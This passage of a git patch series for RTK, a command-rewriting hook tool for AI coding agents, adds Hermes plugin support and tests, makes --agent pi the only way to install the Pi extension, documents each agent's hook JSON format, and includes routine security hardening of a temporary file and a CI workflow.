assert_eq!(patched_once.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_pyyaml_indentationless_final_line_without_newline() { + let existing = "plugins:\n enabled:\n - disk-cleanup"; + + let patched = patch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n enabled:\n - disk-cleanup\n - rtk-rewrite\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_block_enabled_final_line_without_newline() { + let existing = "plugins:\n enabled:\n - existing-plugin"; + + let patched = patch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n enabled:\n - existing-plugin\n - rtk-rewrite\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_missing_enabled_after_final_child_without_newline() { + let existing = "plugins:\n search_path: ./plugins"; + + let patched = patch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n search_path: ./plugins\n enabled:\n - rtk-rewrite\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_empty_enabled_final_line_without_newline() { + let existing = "plugins:\n enabled:"; + + let patched = patch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled:\n - rtk-rewrite\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_inline_enabled_is_idempotent() { + let existing = "theme: dark\nplugins:\n enabled: [existing-plugin, rtk-rewrite] # keep\n search_path: ./plugins\nother: true\n"; + + let patched = patch_hermes_config(existing); + + assert_eq!(patched, existing); + assert_eq!(patch_hermes_config(&patched), patched); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_inline_enabled_without_final_newline_is_idempotent() { + let existing = "plugins:\n enabled: [existing-plugin, rtk-rewrite]"; + + let patched = patch_hermes_config(existing); + + assert_eq!(patched, existing); + assert_eq!(patch_hermes_config(&patched), patched); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_unpatch_inline_enabled_without_rtk_preserves_missing_final_newline() { + let existing = "plugins:\n enabled: [existing-plugin]"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, existing); + } + + #[test] + fn test_hermes_config_unpatch_inline_enabled_preserves_unrelated_entries() { + let existing = "theme: dark\nplugins:\n enabled: [alpha, rtk-rewrite, beta] # keep comment\n search_path: ./plugins\nother: true\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!( + patched, + "theme: dark\nplugins:\n enabled: [alpha, beta] # keep comment\n search_path: ./plugins\nother: true\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_inline_enabled_final_line_without_newline() { + let existing = "plugins:\n enabled: [existing-plugin, rtk-rewrite]"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled: [existing-plugin]"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_removes_duplicate_inline_rtk_rewrite() { + let existing = "plugins:\n enabled: [alpha, rtk-rewrite, beta, rtk-rewrite]\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled: [alpha, beta]\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_removes_duplicate_block_rtk_rewrite() { + let existing = "plugins:\n enabled:\n - rtk-rewrite\n - other\n - rtk-rewrite\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled:\n - other\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_pyyaml_indentationless_enabled_list() { + let existing = "plugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n - rtk-rewrite\n search_path: ./plugins\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n search_path: ./plugins\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_pyyaml_indentationless_only_rtk_collapses_to_empty() { + let existing = "plugins:\n enabled:\n - rtk-rewrite\n search_path: ./plugins\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled: []\n search_path: ./plugins\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_block_enabled_final_line_without_newline() { + let existing = "plugins:\n enabled:\n - existing-plugin\n - rtk-rewrite"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled:\n - existing-plugin\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_block_enabled_without_rtk_preserves_missing_final_newline() { + let existing = "plugins:\n enabled:\n - existing-plugin"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, existing); + } + + #[test] + fn test_hermes_config_unpatch_preserves_quoted_exact_values() { + let existing = "plugins:\n enabled:\n - 'alpha'\n - \"rtk-rewrite\"\n - 'beta'\n search_path: ./plugins\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n enabled:\n - 'alpha'\n - 'beta'\n search_path: ./plugins\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_hermes_config_unpatch_leaves_missing_enabled_list_unchanged() { + let existing = "theme: dark\nplugins:\n search_path: ./plugins\nother: true\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, existing); + } + + #[test] + fn test_hermes_config_unpatch_collapses_empty_enabled_list() { + let existing = "plugins:\n enabled:\n - rtk-rewrite\n"; + + let patched = unpatch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled: []\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 0); + } + #[test] fn test_run_codex_mode_global_writes_absolute_reference_to_codex_dir() { let temp = TempDir::new().unwrap(); @@ -3588,6 +4591,30 @@ mod tests { assert_eq!(missing_falls_back, home_dir.join(".codex")); } + #[test] + fn test_resolve_hermes_home_prefers_hermes_home() { + let hermes_home = OsString::from("~/custom hermes home"); + let home_dir = PathBuf::from("/tmp/home"); + + let resolved = + resolve_hermes_home_from_env(Some(home_dir), Some(hermes_home.clone())).unwrap(); + + assert_eq!(resolved, PathBuf::from(hermes_home)); + } + + #[test] + fn test_resolve_hermes_home_empty_env_falls_back_to_home() { + let home_dir = PathBuf::from("/tmp/home"); + + let empty_falls_back = + resolve_hermes_home_from_env(Some(home_dir.clone()), Some(OsString::new())).unwrap(); + let missing_falls_back = + resolve_hermes_home_from_env(Some(home_dir.clone()), None).unwrap(); + + assert_eq!(empty_falls_back, home_dir.join(".hermes")); + assert_eq!(missing_falls_back, home_dir.join(".hermes")); + } + #[test] fn test_uninstall_codex_at_is_idempotent() { let temp = TempDir::new().unwrap(); diff --git a/src/main.rs b/src/main.rs index d11fcfac7a..d6d0aa4f34 100644 --- a/src/main.rs +++ b/src/main.rs @@ -45,6 +45,8 @@ pub enum AgentTarget { Kilocode, /// Google Antigravity Antigravity, + /// Hermes CLI + Hermes, } #[derive(Parser)] @@ -1348,6 +1350,27 @@ fn main() { std::process::exit(code); } +fn uninstall_init_dispatch( + agent: Option, + global: bool, + gemini: bool, + codex: bool, + ctx: hooks::init::InitContext, + uninstall_hermes: UninstallHermes, + uninstall_standard: UninstallStandard, +) -> Result<()> +where + UninstallHermes: FnOnce(hooks::init::InitContext) -> Result<()>, + UninstallStandard: FnOnce(bool, bool, bool, bool, hooks::init::InitContext) -> Result<()>, +{ + if agent == Some(AgentTarget::Hermes) { + uninstall_hermes(ctx) + } else { + let cursor = agent == Some(AgentTarget::Cursor); + uninstall_standard(global, gemini, codex, cursor, ctx) + } +} + fn run_cli() -> Result { // Fire-and-forget telemetry ping (1/day, non-blocking) core::telemetry::maybe_ping(); @@ -1776,8 +1799,15 @@ fn run_cli() -> Result { if show { hooks::init::show_config(codex)?; } else if uninstall { - let cursor = agent == Some(AgentTarget::Cursor); - hooks::init::uninstall(global, gemini, codex, cursor, ctx)?; + uninstall_init_dispatch( + agent, + global, + gemini, + codex, + ctx, + hooks::init::uninstall_hermes, + hooks::init::uninstall, + )?; } else if gemini { let patch_mode = if auto_patch { hooks::init::PatchMode::Auto @@ -1801,6 +1831,8 @@ fn run_cli() -> Result { ); } hooks::init::run_antigravity_mode(ctx)?; + } else if agent == Some(AgentTarget::Hermes) { + hooks::init::run_hermes_mode(ctx)?; } else { let install_opencode = opencode; let install_claude = !opencode; @@ -2459,6 +2491,7 @@ fn is_operational_command(cmd: &Commands) -> bool { mod tests { use super::*; use clap::Parser; + use std::cell::Cell; #[test] fn test_git_commit_single_message() { @@ -2593,6 +2626,63 @@ mod tests { assert!(result.is_ok(), "git status should parse successfully"); } + #[test] + fn test_try_parse_init_agent_hermes() { + let cli = Cli::try_parse_from(["rtk", "init", "--agent", "hermes"]).unwrap(); + match cli.command { + Commands::Init { agent, .. } => { + assert_eq!(agent, Some(AgentTarget::Hermes)); + } + _ => panic!("Expected Init command"), + } + } + + #[test] + fn test_try_parse_init_agent_hermes_uninstall() { + let cli = Cli::try_parse_from(["rtk", "init", "--agent", "hermes", "--uninstall"]).unwrap(); + match cli.command { + Commands::Init { + agent, uninstall, .. + } => { + assert_eq!(agent, Some(AgentTarget::Hermes)); + assert!(uninstall); + } + _ => panic!("Expected Init command"), + } + } + + #[test] + fn test_init_uninstall_dispatch_routes_hermes_to_hermes_cleanup() { + let hermes_called = Cell::new(false); + let standard_called = Cell::new(false); + let ctx = hooks::init::InitContext { + verbose: 2, + dry_run: true, + }; + + let result = uninstall_init_dispatch( + Some(AgentTarget::Hermes), + true, + false, + false, + ctx, + |ctx| { + hermes_called.set(true); + assert_eq!(ctx.verbose, 2); + assert!(ctx.dry_run); + Ok(()) + }, + |_, _, _, _, _| { + standard_called.set(true); + Ok(()) + }, + ); + + assert!(result.is_ok()); + assert!(hermes_called.get()); + assert!(!standard_called.get()); + } + #[test] fn test_try_parse_help_is_display_help() { match Cli::try_parse_from(["rtk", "--help"]) { From f7c4bf6ba1db02631dd9c4bbc7d64e9837a06bbd Mon Sep 17 00:00:00 2001 From: Kayphoon <109347466+Kayphoon@users.noreply.github.com> Date: Tue, 12 May 2026 00:32:48 +0800 Subject: [PATCH 108/204] style(hooks): format BOM helper assertion --- src/hooks/hook_cmd.rs | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 5f64ac7b18..36825e3c5e 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -886,10 +886,7 @@ mod tests { assert_eq!(strip_leading_bom("hello"), "hello"); assert_eq!(strip_leading_bom("\u{feff}hello"), "hello"); assert_eq!(strip_leading_bom("\u{feff}\u{feff}hello"), "hello"); - assert_eq!( - strip_leading_bom("\u{feff}\u{feff}\u{feff}hello"), - "hello" - ); + assert_eq!(strip_leading_bom("\u{feff}\u{feff}\u{feff}hello"), "hello"); // BOM in the middle is preserved (not "leading"). assert_eq!(strip_leading_bom("a\u{feff}b"), "a\u{feff}b"); } From cb1661e68d995e72bec49fb0e619fd8178f376a4 Mon Sep 17 00:00:00 2001 From: gitbluf Date: Mon, 11 May 2026 21:46:46 +0200 Subject: [PATCH 109/204] feat(init): remove --pi flag, canonicalize Pi install to --agent pi chore: sync the codebase after mergew --- .../guide/getting-started/supported-agents.md | 9 +++-- hooks/README.md | 14 ++++--- hooks/pi/README.md | 8 ++-- src/hooks/README.md | 2 +- src/hooks/init.rs | 37 ++++++++++--------- src/main.rs | 35 ++++++++---------- 6 files changed, 53 insertions(+), 52 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index 16f30615fc..b7fb920deb 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -90,9 +90,10 @@ Creates `~/.config/opencode/plugins/rtk.ts`. Uses the `tool.execute.before` hook ```bash # Project-local (default) -rtk init --pi +rtk init --agent pi + # Global — all projects -rtk init --pi --global +rtk init --agent pi --global ``` Creates `.pi/extensions/rtk.ts` (local) or `~/.pi/agent/extensions/rtk.ts` (global). Pi auto-discovers extensions from both paths on startup. @@ -100,8 +101,8 @@ Creates `.pi/extensions/rtk.ts` (local) or `~/.pi/agent/extensions/rtk.ts` (glob Uninstall: ```bash -rtk init --uninstall --pi -rtk init --uninstall --pi --global +rtk init --uninstall --agent pi +rtk init --uninstall --agent pi --global ``` Removes only the installed Pi extension file. diff --git a/hooks/README.md b/hooks/README.md index 6a485dd176..55b2149ddf 100644 --- a/hooks/README.md +++ b/hooks/README.md @@ -64,6 +64,7 @@ Each agent subdirectory has its own README with hook-specific details: ### Claude Code (Shell Hook) **Input** (stdin): + ```json { "tool_name": "Bash", @@ -72,6 +73,7 @@ Each agent subdirectory has its own README with hook-specific details: ``` **Output** (stdout, when rewritten): + ```json { "hookSpecificOutput": { @@ -88,6 +90,7 @@ Each agent subdirectory has its own README with hook-specific details: **Input**: Same as Claude Code. **Output** (stdout, when rewritten): + ```json { "permission": "allow", @@ -100,6 +103,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ### Copilot CLI (Rust Binary) **Input** (stdin, camelCase, `toolArgs` is JSON-stringified): + ```json { "toolName": "bash", @@ -108,6 +112,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ``` **Output** (no `updatedInput` support -- uses deny-with-suggestion): + ```json { "permissionDecision": "deny", @@ -118,6 +123,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ### VS Code Copilot Chat (Rust Binary) **Input** (stdin, snake_case): + ```json { "tool_name": "Bash", @@ -130,6 +136,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ### Gemini CLI (Rust Binary) **Input** (stdin): + ```json { "tool_name": "run_shell_command", @@ -138,6 +145,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ``` **Output** (when rewritten): + ```json { "decision": "allow", @@ -152,6 +160,7 @@ Returns `{}` when no rewrite (Cursor requires JSON for all paths). ### OpenCode (TypeScript Plugin) Mutates `args.command` in-place via the zx library: + ```typescript const result = await $`rtk rewrite ${command}`.quiet().nothrow() const rewritten = String(result.stdout).trim() @@ -247,8 +256,3 @@ RTK supports AI coding assistants that developers actually use day-to-day. To ad ### Maintenance If an agent's API changes and the hook breaks, the integration should be updated promptly. If the agent becomes unmaintained or the hook can't be fixed, the integration may be deprecated with a release note. - -### Worked Example - -See [`docs/specs/pi-hook-integration.md`](../docs/specs/pi-hook-integration.md) for a complete integration SPEC — covering design, component inventory, exit-code mapping, install layout, error handling, and testing strategy. Use it as a template when speccing new agent integrations. - diff --git a/hooks/pi/README.md b/hooks/pi/README.md index ef7038f712..1674909360 100644 --- a/hooks/pi/README.md +++ b/hooks/pi/README.md @@ -9,20 +9,20 @@ - Calls `rtk rewrite` as a subprocess; mutates `event.input.command` in-place if rewrite differs - Returns `{ block: true, reason }` on deny (exit code 2); all other error paths return `undefined` - Version guard at load time: checks `rtk >= 0.23.0`; warns and registers no-op if too old or missing -- Installed to `.pi/extensions/rtk.ts` by `rtk init --pi` (project-local) or `~/.pi/agent/extensions/rtk.ts` by `rtk init --pi --global` +- Installed to `.pi/extensions/rtk.ts` by `rtk init --agent pi` (project-local) or `~/.pi/agent/extensions/rtk.ts` by `rtk init --agent pi --global` ## Uninstall ```bash # Remove project-local install (run from the project root) -rtk init --uninstall --pi +rtk init --uninstall --agent pi # → removes .pi/extensions/rtk.ts # Remove global install -rtk init --uninstall --pi --global +rtk init --uninstall --agent pi --global # → removes ~/.pi/agent/extensions/rtk.ts -# Pi-only target form also works +# Pi-only target form rtk init --uninstall --agent pi rtk init --uninstall --agent pi --global ``` diff --git a/src/hooks/README.md b/src/hooks/README.md index 3f9a173466..a0c76b76de 100644 --- a/src/hooks/README.md +++ b/src/hooks/README.md @@ -30,7 +30,7 @@ LLM agent integration layer that installs, validates, and executes command-rewri | Cline | `rtk init --agent cline` | `.clinerules` | -- | | Codex | `rtk init --codex` | RTK.md in `$CODEX_HOME` or `~/.codex` | AGENTS.md | | Cursor | `rtk init -g --agent cursor` | Cursor hook | hooks.json | -| Pi | `rtk init --pi` | `.pi/extensions/rtk.ts` | -- | +| Pi | `rtk init --agent pi` | `.pi/extensions/rtk.ts` | -- | | Hermes | `rtk init --agent hermes` | Python plugin in `~/.hermes/plugins/rtk-rewrite/` | `config.yaml` `plugins.enabled` | diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 18c5040730..94fda39dbe 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -13,10 +13,9 @@ use crate::hooks::constants::{ use super::constants::{ BEFORE_TOOL_KEY, CLAUDE_DIR, CLAUDE_HOOK_COMMAND, CODEX_DIR, CURSOR_HOOK_COMMAND, - GEMINI_HOOK_FILE, HOOKS_JSON, HOOKS_SUBDIR, PI_CODING_AGENT_DIR_ENV, PI_DIR, - PI_EXTENSIONS_SUBDIR, PI_PLUGIN_FILE, PRE_TOOL_USE_KEY, REWRITE_HOOK_FILE, SETTINGS_JSON, GEMINI_HOOK_FILE, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_INIT_FILE, - HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_JSON, HOOKS_SUBDIR, PRE_TOOL_USE_KEY, + HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_JSON, HOOKS_SUBDIR, + PI_CODING_AGENT_DIR_ENV, PI_DIR, PI_EXTENSIONS_SUBDIR, PI_PLUGIN_FILE, PRE_TOOL_USE_KEY, REWRITE_HOOK_FILE, SETTINGS_JSON, }; use super::integrity; @@ -612,8 +611,9 @@ pub fn uninstall( codex: bool, cursor: bool, pi: bool, - verbose: u8, + ctx: InitContext, ) -> Result<()> { + let InitContext { verbose, dry_run } = ctx; if codex { uninstall_codex(global, ctx)?; if dry_run { @@ -2784,15 +2784,16 @@ fn pi_plugin_path_for_scope(global: bool) -> Result { } /// Write the Pi extension file if missing or outdated. Returns true if written. -fn ensure_pi_plugin_installed(path: &Path, verbose: u8) -> Result { - write_if_changed(path, PI_PLUGIN, "Pi extension", verbose) +fn ensure_pi_plugin_installed(path: &Path, ctx: InitContext) -> Result { + write_if_changed(path, PI_PLUGIN, "Pi extension", ctx) } /// Install the Pi extension (hook-only; no AGENTS.md injection). /// /// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` /// global=false → `.pi/extensions/rtk.ts` -pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { +pub fn run_pi_mode(global: bool, ctx: InitContext) -> Result<()> { + let InitContext { verbose: _, .. } = ctx; let plugin_path = if global { let pi_dir = resolve_pi_dir()?; let path = pi_plugin_path(&pi_dir); @@ -2818,7 +2819,7 @@ pub fn run_pi_mode(global: bool, verbose: u8) -> Result<()> { path }; - let installed = ensure_pi_plugin_installed(&plugin_path, verbose)?; + let installed = ensure_pi_plugin_installed(&plugin_path, ctx)?; print_pi_result(&plugin_path, installed); Ok(()) @@ -5526,7 +5527,7 @@ mod tests { let tmp = TempDir::new().unwrap(); with_claude_dir_override(&tmp, |claude_dir| { run_default_mode(true, PatchMode::Auto, false, InitContext::default()).unwrap(); - uninstall(true, false, false, false, InitContext::default()).unwrap(); + uninstall(true, false, false, false, false, InitContext::default()).unwrap(); assert!(!claude_dir.join(RTK_MD).exists(), "RTK.md must be removed"); let settings_content = @@ -5654,7 +5655,7 @@ mod tests { dry_run: true, ..Default::default() }; - uninstall(true, false, false, false, dry).unwrap(); + uninstall(true, false, false, false, false, dry).unwrap(); // Files must still exist with identical content assert!( @@ -5774,7 +5775,7 @@ mod tests { fn test_run_pi_mode_global_installs_plugin() { let tmp = TempDir::new().unwrap(); with_pi_dir_override(&tmp, |pi_dir| { - run_pi_mode(true, 0).unwrap(); + run_pi_mode(true, InitContext::default()).unwrap(); let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); assert!(plugin.exists(), "global Pi extension must be created"); @@ -5794,7 +5795,7 @@ mod tests { let cwd = std::env::current_dir().unwrap(); std::env::set_current_dir(tmp.path()).unwrap(); - let result = run_pi_mode(false, 0); + let result = run_pi_mode(false, InitContext::default()); std::env::set_current_dir(&cwd).unwrap(); result.unwrap(); @@ -5810,7 +5811,7 @@ mod tests { fn test_run_pi_mode_global_does_not_create_agents_md() { let tmp = TempDir::new().unwrap(); with_pi_dir_override(&tmp, |pi_dir| { - run_pi_mode(true, 0).unwrap(); + run_pi_mode(true, InitContext::default()).unwrap(); let agents_md = pi_dir.join(AGENTS_MD); assert!(!agents_md.exists(), "AGENTS.md must not be created"); @@ -5825,7 +5826,7 @@ mod tests { let orig = std::env::var_os(PI_CODING_AGENT_DIR_ENV); std::env::set_var(PI_CODING_AGENT_DIR_ENV, &absent_dir); - let result = run_pi_mode(true, 0); + let result = run_pi_mode(true, InitContext::default()); match orig { Some(v) => std::env::set_var(PI_CODING_AGENT_DIR_ENV, v), @@ -5848,12 +5849,12 @@ mod tests { fn test_pi_global_uninstall_removes_plugin() { let tmp = TempDir::new().unwrap(); with_pi_dir_override(&tmp, |pi_dir| { - run_pi_mode(true, 0).unwrap(); + run_pi_mode(true, InitContext::default()).unwrap(); let plugin = pi_dir.join(PI_EXTENSIONS_SUBDIR).join(PI_PLUGIN_FILE); assert!(plugin.exists()); - uninstall(true, false, false, false, true, 0).unwrap(); + uninstall(true, false, false, false, true, InitContext::default()).unwrap(); assert!(!plugin.exists(), "plugin must be removed"); }); @@ -5866,8 +5867,8 @@ mod tests { let cwd = std::env::current_dir().unwrap(); std::env::set_current_dir(tmp.path()).unwrap(); - run_pi_mode(false, 0).unwrap(); - let result = uninstall(false, false, false, false, true, 0); + run_pi_mode(false, InitContext::default()).unwrap(); + let result = uninstall(false, false, false, false, true, InitContext::default()); std::env::set_current_dir(&cwd).unwrap(); result.unwrap(); diff --git a/src/main.rs b/src/main.rs index 5cec09efba..469eefa9fe 100644 --- a/src/main.rs +++ b/src/main.rs @@ -376,10 +376,6 @@ enum Commands { /// Install GitHub Copilot integration (VS Code + CLI) #[arg(long)] copilot: bool, - - /// Install Pi coding agent extension - #[arg(long)] - pi: bool, /// Preview changes without writing any files (combine with -v to show content) #[arg(long = "dry-run", conflicts_with = "show")] dry_run: bool, @@ -1366,13 +1362,14 @@ fn uninstall_init_dispatch( ) -> Result<()> where UninstallHermes: FnOnce(hooks::init::InitContext) -> Result<()>, - UninstallStandard: FnOnce(bool, bool, bool, bool, hooks::init::InitContext) -> Result<()>, + UninstallStandard: FnOnce(bool, bool, bool, bool, bool, hooks::init::InitContext) -> Result<()>, { if agent == Some(AgentTarget::Hermes) { uninstall_hermes(ctx) } else { let cursor = agent == Some(AgentTarget::Cursor); - uninstall_standard(global, gemini, codex, cursor, ctx) + let pi = agent == Some(AgentTarget::Pi); + uninstall_standard(global, gemini, codex, cursor, pi, ctx) } } @@ -1795,7 +1792,6 @@ fn run_cli() -> Result { uninstall, codex, copilot, - pi, dry_run, } => { let ctx = hooks::init::InitContext { @@ -1825,8 +1821,8 @@ fn run_cli() -> Result { hooks::init::run_gemini(global, hook_only, patch_mode, ctx)?; } else if copilot { hooks::init::run_copilot(ctx)?; - } else if pi || agent == Some(AgentTarget::Pi) { - hooks::init::run_pi_mode(global, cli.verbose)? + } else if agent == Some(AgentTarget::Pi) { + hooks::init::run_pi_mode(global, ctx)? } else if agent == Some(AgentTarget::Kilocode) { if global { anyhow::bail!("Kilo Code is project-scoped. Use: rtk init --agent kilocode"); @@ -2680,7 +2676,7 @@ mod tests { assert!(ctx.dry_run); Ok(()) }, - |_, _, _, _, _| { + |_, _, _, _, _, _| { standard_called.set(true); Ok(()) }, @@ -3149,12 +3145,10 @@ mod tests { } #[test] - fn test_init_pi_flag_parses() { - let cli = Cli::try_parse_from(["rtk", "init", "--pi"]).unwrap(); - match cli.command { - Commands::Init { pi, .. } => assert!(pi, "--pi flag must be set"), - _ => panic!("Expected Init command"), - } + fn test_init_pi_flag_rejected() { + // --pi has been removed; --agent pi is the canonical form + let result = Cli::try_parse_from(["rtk", "init", "--pi"]); + assert!(result.is_err(), "--pi must be rejected as unknown argument"); } #[test] @@ -3173,17 +3167,18 @@ mod tests { } #[test] - fn test_init_uninstall_pi_parses() { - let cli = Cli::try_parse_from(["rtk", "init", "--uninstall", "--pi", "--global"]).unwrap(); + fn test_init_uninstall_agent_pi_parses() { + let cli = Cli::try_parse_from(["rtk", "init", "--uninstall", "--agent", "pi", "--global"]) + .unwrap(); match cli.command { Commands::Init { uninstall, - pi, + agent, global, .. } => { assert!(uninstall); - assert!(pi); + assert_eq!(agent, Some(AgentTarget::Pi)); assert!(global); } _ => panic!("Expected Init command"), From cd6ac2f47a008c6dca04b567faf68aaedfd87ca9 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 13 May 2026 15:42:11 +0200 Subject: [PATCH 110/204] fix(security): replace insecure tmp, lock git workflow perm --- .github/workflows/pr-target-check.yml | 1 + scripts/benchmark-sessions/lib/runner.py | 4 +++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/.github/workflows/pr-target-check.yml b/.github/workflows/pr-target-check.yml index 25a607b8b7..ef4d5fad7e 100644 --- a/.github/workflows/pr-target-check.yml +++ b/.github/workflows/pr-target-check.yml @@ -7,6 +7,7 @@ on: jobs: check-target: runs-on: ubuntu-latest + permissions: {} # Skip develop→master PRs (maintainer releases) if: >- github.event.pull_request.base.ref == 'master' && diff --git a/scripts/benchmark-sessions/lib/runner.py b/scripts/benchmark-sessions/lib/runner.py index 192fbcd41b..ccc301409e 100644 --- a/scripts/benchmark-sessions/lib/runner.py +++ b/scripts/benchmark-sessions/lib/runner.py @@ -1,6 +1,7 @@ from __future__ import annotations import asyncio +import os import subprocess import tempfile from pathlib import Path @@ -21,7 +22,8 @@ def _create_tarball(source_dir: Path) -> str: - tarball = tempfile.mktemp(suffix=".tar.gz") + fd, tarball = tempfile.mkstemp(suffix=".tar.gz") + os.close(fd) subprocess.run( ["tar", "czf", tarball, "-C", str(source_dir), "."], check=True, From 26b96ec6c4f40f992ccffa190af9a4de8d7636b1 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 13 May 2026 17:13:44 +0200 Subject: [PATCH 111/204] fix(security): pin workflow actions to SHA, clean up tempfile on failure --- .github/workflows/pr-target-check.yml | 4 ++-- scripts/benchmark-sessions/lib/runner.py | 16 +++++++++++----- 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/.github/workflows/pr-target-check.yml b/.github/workflows/pr-target-check.yml index ef4d5fad7e..f66d532c08 100644 --- a/.github/workflows/pr-target-check.yml +++ b/.github/workflows/pr-target-check.yml @@ -13,7 +13,7 @@ jobs: github.event.pull_request.base.ref == 'master' && github.event.pull_request.head.ref != 'develop' steps: - - uses: actions/create-github-app-token@v3 + - uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 id: app-token with: client-id: ${{ secrets.APP_CLIENT_ID }} @@ -21,7 +21,7 @@ jobs: permission-pull-requests: write - name: Add wrong-base label and comment - uses: actions/github-script@v7 + uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7 with: github-token: ${{ steps.app-token.outputs.token }} script: | diff --git a/scripts/benchmark-sessions/lib/runner.py b/scripts/benchmark-sessions/lib/runner.py index ccc301409e..bd02dc1d05 100644 --- a/scripts/benchmark-sessions/lib/runner.py +++ b/scripts/benchmark-sessions/lib/runner.py @@ -24,10 +24,14 @@ def _create_tarball(source_dir: Path) -> str: fd, tarball = tempfile.mkstemp(suffix=".tar.gz") os.close(fd) - subprocess.run( - ["tar", "czf", tarball, "-C", str(source_dir), "."], - check=True, - ) + try: + subprocess.run( + ["tar", "czf", tarball, "-C", str(source_dir), "."], + check=True, + ) + except Exception: + Path(tarball).unlink(missing_ok=True) + raise return tarball @@ -75,6 +79,7 @@ async def run_benchmark( total_steps = 5 if terminal_bench else 4 vm_names: list[str] = [] + local_tarball: str | None = None manifest = RunManifest( task_name=task.name, @@ -88,7 +93,6 @@ async def run_benchmark( print(f" VMs ready: {', '.join(vm_names)}") _print_step(2, total_steps, "Setting up codebases") - local_tarball = None if not task.codebase.is_github: local_tarball = _create_tarball(task.codebase.local_path()) @@ -149,6 +153,8 @@ async def run_benchmark( print(f"\n Manifest written to {output_dir / 'manifest.json'}") finally: + if local_tarball: + Path(local_tarball).unlink(missing_ok=True) if not keep_vms and vm_names: print("\nCleaning up VMs...") await destroy_vm_pool(vm_names) From 7e418fd66402b1ed654af37b94950cb119db183c Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 13 May 2026 19:01:37 +0200 Subject: [PATCH 112/204] Update pr-target-check.yml --- .github/workflows/pr-target-check.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pr-target-check.yml b/.github/workflows/pr-target-check.yml index f66d532c08..ac3ec13666 100644 --- a/.github/workflows/pr-target-check.yml +++ b/.github/workflows/pr-target-check.yml @@ -36,7 +36,7 @@ jobs: }); // Post comment - const body = `Automatic message from CI checks : It seems like this branche is targeting the wrong branch, any contribution should target develop branch. + const body = `Automatic message from CI checks : It seems like this branch is targeting the wrong 